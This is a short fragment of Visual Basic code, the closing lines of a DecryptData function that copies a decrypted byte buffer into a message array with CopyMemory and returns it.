CopyMemory VarPtr(bytMessage(0)), VarPtr(bytOut(4)), lLength
DecryptData = bytMessage
End Function
